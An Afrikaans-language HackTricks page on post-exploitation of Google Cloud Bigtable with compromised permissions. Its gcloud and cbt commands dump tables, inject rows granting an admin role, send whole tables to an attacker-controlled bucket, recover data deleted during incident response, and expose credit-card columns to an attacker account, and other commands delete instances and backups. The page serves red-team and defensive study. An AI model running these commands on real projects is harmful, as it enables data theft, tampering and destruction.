# GCP - Bigtable Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Bigtable

Vir meer inligting oor Bigtable check:

{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}

> [!TIP]
> Installeer die `cbt` CLI een keer via die Cloud SDK sodat die opdragte hieronder lokaal werk:
>
> <details>
>
> <summary>Installeer cbt CLI</summary>
>
> ```bash
> gcloud components install cbt
> ```
>
> </details>

### Lees rye

**Permissies:** `bigtable.tables.readRows`

`cbt` word saam met die Cloud SDK gelewer en kommunikeer met die admin/data APIs sonder enige middleware. Rigs dit na die gekompromitteerde project/instance en dump rye direk vanaf die tabel. Beperk die scan as jy net 'n kykie nodig het.

<details>

<summary>Lees Bigtable inskrywings</summary>
```bash
# Install cbt
gcloud components update
gcloud components install cbt

# Read entries with creds of gcloud
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
```
</details>

### Skryf rye

**Permissies:** `bigtable.tables.mutateRows`, (jy sal `bigtable.tables.readRows` nodig hê om die verandering te bevestig).

Gebruik dieselfde hulpmiddel om willekeurige selle te upsert. Dit is die vinnigste manier om configs te backdoor, web shells te drop, of poisoned dataset rows te plant.

<details>

<summary>Inspuit kwaadwillige ry</summary>
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>

cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin

# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
```
</details>

`cbt set` aanvaar ruwe bytes via die `@/path` sintaks, sodat jy gecompileerde payloads of geserialiseerde protobufs presies kan stoot soos downstream-dienste dit verwag.

### Eksfiltreer rye na jou bucket

**Permissies:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`

Dit is moontlik om die inhoud van 'n hele tabel na 'n bucket wat deur die aanvaller beheer word te eksfiltreer deur 'n Dataflow-job te begin wat rye in 'n GCS bucket wat jy beheer, stroom.

> [!NOTE]
> Let wel dat jy die permissie `iam.serviceAccounts.actAs` oor 'n SA met voldoende permissies nodig sal hê om die uitvoer uit te voer (by verstek, tensy anders aangedui, sal die verstek compute SA gebruik word).

<details>

<summary>Eksporteer Bigtable na GCS bucket</summary>
```bash
gcloud dataflow jobs run <job-name> \
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
--project=<PROJECT> \
--region=<REGION> \
--parameters=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<BUCKET>/raw-json/ \
--staging-location=gs://<BUCKET>/staging/

# Example
gcloud dataflow jobs run dump-bigtable3 \
--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \
--project=gcp-labs-3uis1xlx \
--region=us-central1 \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
</details>

> [!NOTE]
> Skakel die template na `Cloud_Bigtable_to_GCS_Parquet` of `Cloud_Bigtable_to_GCS_SequenceFile` as jy Parquet/SequenceFile-uitsette in plaas van JSON wil hê. Die toestemmings is dieselfde; slegs die template-pad verander.

### Importeer rye

**Toestemmings:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`

Dit is moontlik om die inhoud van 'n hele tabel vanaf 'n bucket wat deur die aanvaller beheer word te importeer deur 'n Dataflow-job te loods wat rye na 'n GCS bucket wat jy beheer stroom. Hiervoor sal die aanvaller eers 'n parquet-lêer met die data wat ingevoer moet word en die verwagte schema moet skep. 'n Aanvaller kan eers die data in parquet-formaat uitvoer volgens die vorige tegniek met die instelling `Cloud_Bigtable_to_GCS_Parquet` en nuwe inskrywings by die afgelaaide parquet-lêer voeg



> [!NOTE]
> Neem kennis dat jy die toestemming `iam.serviceAccounts.actAs` oor 'n SA met genoegsame regte nodig sal hê om die export uit te voer (standaard, tensy anders aangedui, sal die default compute SA gebruik word).

<details>

<summary>Importeer vanaf GCS bucket na Bigtable</summary>
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/

# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
</details>

### Herstel van rugsteune

**Toestemmings:** `bigtable.backups.restore`, `bigtable.tables.create`.

'n aanvaller met hierdie toestemmings kan 'n rugsteun in 'n nuwe tabel onder sy beheer herstel om ou sensitiewe data te kan terugkry.

<details>

<summary>Herstel Bigtable-rugsteun</summary>
```bash
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
--cluster=<CLUSTER_ID_SOURCE>

gcloud bigtable instances tables restore \
--source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID> \
--async \
--destination=<TABLE_ID_NEW> \
--destination-instance=<INSTANCE_ID_DESTINATION> \
--project=<PROJECT_ID_DESTINATION>
```
</details>

### Undelete tables

**Permissions:** `bigtable.tables.undelete`

Bigtable ondersteun sagte verwydering met 'n genadeperiode (gewoonlik 7 dae by verstek). Gedurende hierdie venster kan 'n aanvaller met die `bigtable.tables.undelete`-toestemming 'n onlangs verwyderde tabel herstel en al sy data terugkry, wat moontlik toegang gee tot sensitiewe inligting wat as vernietig beskou is.

Dit is veral nuttig vir:
- Herwinning van data uit tabelle wat deur defenders verwyder is tydens incident response
- Toegang tot historiese data wat doelbewus uitgevee is
- Om per ongeluk of kwaadwillige verwyderings om te keer en persistence te behou

<details>

<summary>Undelete Bigtable table</summary>
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted

# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>
```
</details>

> [!NOTE]
> Die undelete-operasie werk slegs binne die gekonfigureerde bewaarperiode (verstek 7 dae). Nadat hierdie venster verstryk het, word die tabel en sy data permanent verwyder en kan nie deur hierdie metode herstel word nie.


### Skep Gemagtigde Weergawes

**Permissies:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`

Gemagtigde weergawes laat jou toe om 'n gekeurde substel van die tabel voor te stel. In plaas daarvan om minste voorregte te eerbiedig, gebruik dit om **presies die sensitiewe kolom-/rystelle** wat vir jou saak maak te publiseer en jou eie prinsipaal op die witlys te sit.

> [!WARNING]
> Die ding is dat om 'n gemagtigde weergawes te skep jy ook in staat moet wees om rye in die basistabel te lees en te muteer, daarom verkry jy geen ekstra toestemmings nie — hierdie tegniek is dus meestal nutteloos.

<details>

<summary>Skep gemagtigde weergawes</summary>
```bash
cat <<'EOF' > /tmp/credit-cards.json
{
"subsetView": {
"rowPrefixes": ["acct#"],
"familySubsets": {
"pii": {
"qualifiers": ["cc_number", "cc_cvv"]
}
}
}
}
EOF

gcloud bigtable authorized-views create card-dump \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/credit-cards.json

gcloud bigtable authorized-views add-iam-policy-binding card-dump \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
```
</details>

Aangesien toegang tot die view beperk is, misken verdedigers dikwels die feit dat jy pas 'n nuwe hoë-sensitiwiteits-endpoint geskep het.

### Lees Authorized Views

**Permissions:** `bigtable.authorizedViews.readRows`

Indien jy toegang tot 'n Authorized View het, kan jy data daaruit lees met die Bigtable client libraries deur die naam van die Authorized View in jou leesversoeke te spesifiseer. Let daarop dat die Authorized View waarskynlik sal beperk wat jy vanuit die tabel kan lees. Hieronder is 'n voorbeeld met Python:

<details>

<summary>Lees vanaf Authorized View (Python)</summary>
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest

# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"

client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)

data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"

request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)

rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f"  {family}:{qualifier} = {value}")
```
</details>

### Denial of Service via Delete Operations

**Permissions:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`

Enige van die Bigtable delete-permissies kan vir denial of service-aanvalle gebruik word. ’n Aanvaller met hierdie permissies kan bedrywighede ontwrig deur kritieke Bigtable-hulpbronne te verwyder:

- **`bigtable.appProfiles.delete`**: Verwyder toepassingsprofiele, wat kliëntverbindinge en routeringskonfigurasies breek
- **`bigtable.authorizedViews.delete`**: Verwyder authorized views, wat wettige toegangspaaie vir toepassings afsny
- **`bigtable.authorizedViews.deleteTagBinding`**: Verwyder tagbindinge van authorized views
- **`bigtable.backups.delete`**: Vernietig backup-snapshots, en verwyder daarmee rampherstelopsies
- **`bigtable.clusters.delete`**: Verwyder hele clusters, wat onmiddellike onbeskikbaarheid van data veroorsaak
- **`bigtable.instances.delete`**: Verwyder volledige Bigtable-instances, wat alle tabelle en konfigurasies uitvee
- **`bigtable.tables.delete`**: Verwyder individuele tabelle, wat dataverlies en toepassingsfoute veroorsaak

<details>

<summary>Verwyder Bigtable-hulpbronne</summary>
```bash
# Delete a table
gcloud bigtable instances tables delete <table-id> \
--instance=<instance-id>

# Delete an authorized view
gcloud bigtable authorized-views delete <view-id> \
--instance=<instance-id> --table=<table-id>

# Delete a backup
gcloud bigtable backups delete <backup-id> \
--instance=<instance-id> --cluster=<cluster-id>

# Delete an app profile
gcloud bigtable app-profiles delete <profile-id> \
--instance=<instance-id>

# Delete a cluster
gcloud bigtable clusters delete <cluster-id> \
--instance=<instance-id>

# Delete an entire instance
gcloud bigtable instances delete <instance-id>
```
</details>

> [!WARNING]
> Verwyderingsoperasies is dikwels onmiddellik en onomkeerbaar. Maak seker dat daar rugsteunkopieë bestaan voordat u hierdie opdragte toets, aangesien dit permanente dataverlies en ernstige diensonderbreking kan veroorsaak.

{{#include ../../../banners/hacktricks-training.md}}
